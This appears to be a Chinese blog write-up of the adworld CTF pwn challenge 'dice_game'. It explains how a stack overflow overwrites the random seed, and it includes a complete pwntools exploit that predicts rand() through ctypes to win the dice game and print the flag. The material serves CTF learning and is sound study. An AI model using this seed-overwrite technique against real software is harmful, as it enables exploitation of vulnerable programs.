adworld pwn dice_game分析

由於考研等種種原因,好久沒有看pwn題了,這兩天熟悉了一下,繼續研究哈

 

這次分析的是攻防世界上的pwn練習題dice_game,可能太久沒看pwn題了,已經有點忘記思路了,今天就當回顧一下啦

 

首先我們在ubuntu中看一下可執行文件基本信息:

沒有canary保護,啓用了棧不可執行,pie保護措施。64bit的elf文件,並且stripped

我們先嚐試運行一下,看看程序功能,然後直接丟進IDA,分析代碼:

主函數是這樣的,我們可以明顯地發現存在緩衝區溢出漏洞,開始的時候我在想能不能直接覆蓋掉返回地址,還琢磨了半天,果然是許久沒看,手生了哈

buf偏移爲0x50,read的最大字節數也是0x50,因此不可能覆蓋到ret地址

然後我們接着看函數sub_B28()是用來打印flag的,重點在sub_A20,返回值一直是1即可,我們看一下具體代碼:

我們看到它使用了隨機數,那麼我們就要看看隨機數的種子能不能控制。看到之前seed在0x10處,有希望,開始着手寫exp:

# 2020/6/16
# dice_game

from pwn import *
from ctypes import *

context.log_level = 'debug'

p = process("/home/tucker/ctf/pwn/dice_game/dice_game")

libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload = "a" * 0x40 + p64(1)
p.sendline(payload)

a = []
for i in range(50):
    a.append(libc.rand() % 6 + 1)
print(a)

for i in a:
    p.recv()
    # print(p.recv())
    p.sendline(str(i))

p.interactive()

其中說明一下:ctypes是python的一個庫,導出了cdll函數,允許調用共享庫中的函數。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章